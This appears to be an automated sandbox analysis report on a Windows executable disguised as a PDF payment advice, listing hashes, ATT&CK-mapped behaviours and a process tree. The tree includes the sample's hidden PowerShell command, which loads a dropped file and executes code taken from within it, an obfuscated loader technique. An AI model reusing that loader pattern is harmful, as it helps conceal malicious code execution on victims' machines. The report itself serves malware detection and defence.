Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02-10-2024 13:29

General

  • Target

    Settlement_Payment_Advise_pdf.exe

  • Size

    815KB

  • MD5

    f301fd124e4a1e98a0940a6897174c9d

  • SHA1

    b7524db5c28cf5174272ed230c620c6b1120b04d

  • SHA256

    d7b641d0151a05ea88a81ce63ba1f8dec700c584203b3978daa4e143af7bfac4

  • SHA512

    8228ed551aa5d9f86c417cdbd19c1a3facb2bd545367c1db5b07b7048acdba6ed8b664ea70f7686e127a457f1c66ff7f188a2f0c1ae45e45e1033d6c9da03566

  • SSDEEP

    24576:PVTcsrgw74/EeWZAULhyeT7W2Gnm3Tw2a:PVcOgDslBVS2Gnm3THa

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Settlement_Payment_Advise_pdf.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Tilluk=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Bountihead.Amp';$Accustomedness=$Tilluk.SubString(78627,3);.$Accustomedness($Tilluk)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2236

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2236-11-0x0000000073761000-0x0000000073762000-memory.dmp

    Filesize

    4KB

  • memory/2236-12-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/2236-13-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/2236-14-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/2236-15-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB

  • memory/2236-16-0x0000000073760000-0x0000000073D0B000-memory.dmp

    Filesize

    5.7MB